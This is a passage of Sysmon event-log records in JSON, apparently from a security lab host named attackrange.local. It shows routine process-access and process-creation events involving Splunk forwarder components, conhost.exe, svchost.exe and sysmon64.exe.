ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FF1-5F2D-0000-0010B3770300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.640\r\nSourceProcessGUID: {90617006-3FF1-5F2D-0000-0010B3770300}\r\nSourceProcessId: 2292\r\nSourceThreadId: 3748\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+577205|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+576d36|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+56c09|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+572d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+8fe2c4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.640","SourceProcessGUID":"{90617006-3FF1-5F2D-0000-0010B3770300}","SourceProcessId":"2292","SourceThreadId":"3748","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+577205|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+576d36|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+56c09|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+572d6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe+8fe2c4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.161\r\nProcessGuid: {90617006-3FF2-5F2D-0000-0010F18E0300}\r\nProcessId: 3828\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.161","ProcessGuid":"{90617006-3FF2-5F2D-0000-0010F18E0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.328\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FF2-5F2D-0000-0010F18E0300}\r\nTargetProcessId: 3828\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.328","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FF2-5F2D-0000-0010F18E0300}","TargetProcessId":"3828","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:10.345\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:10.345","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\